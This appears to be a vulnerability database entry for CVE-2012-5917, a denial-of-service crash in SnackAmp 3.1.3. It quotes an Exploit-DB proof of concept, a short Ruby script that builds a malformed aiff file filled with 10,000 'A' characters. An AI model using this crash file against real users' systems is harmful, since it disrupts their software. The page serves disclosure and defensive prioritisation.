CVE-2012-5917

medium

Published 2012-11-17 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.3

Description

SnackAmp 3.1.3 allows remote attackers to cause a denial of service (application crash) via a long string in an aiff file.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-18692 dos linux text · 1 KB

Ahmed Elhady Mohamed · 2012-04-01

SnackAmp 3.1.3 - '.aiff' Denial of Service

text exploit Source: Exploit-DB

SnackAmp 3.1.3 Malicious aiff File Denial of service
===================================================================================
# Exploit Title:SnackAmp 3.1.3 Malicious aiff File Denial of service
# Download link :http://sourceforge.net/projects/snackamp/
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# version: 3.1.3
# Category: DOS
# Tested on: ubuntu 11.4 
===================================================================================

File.open "crash1.aiff" , "w" do |file|

buffer = "A" * 10000

file.puts buffer
end

Application impact

Vendor	Product	Versions	Fixed
tom_wilkason	snackamp	`3.1.3`

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

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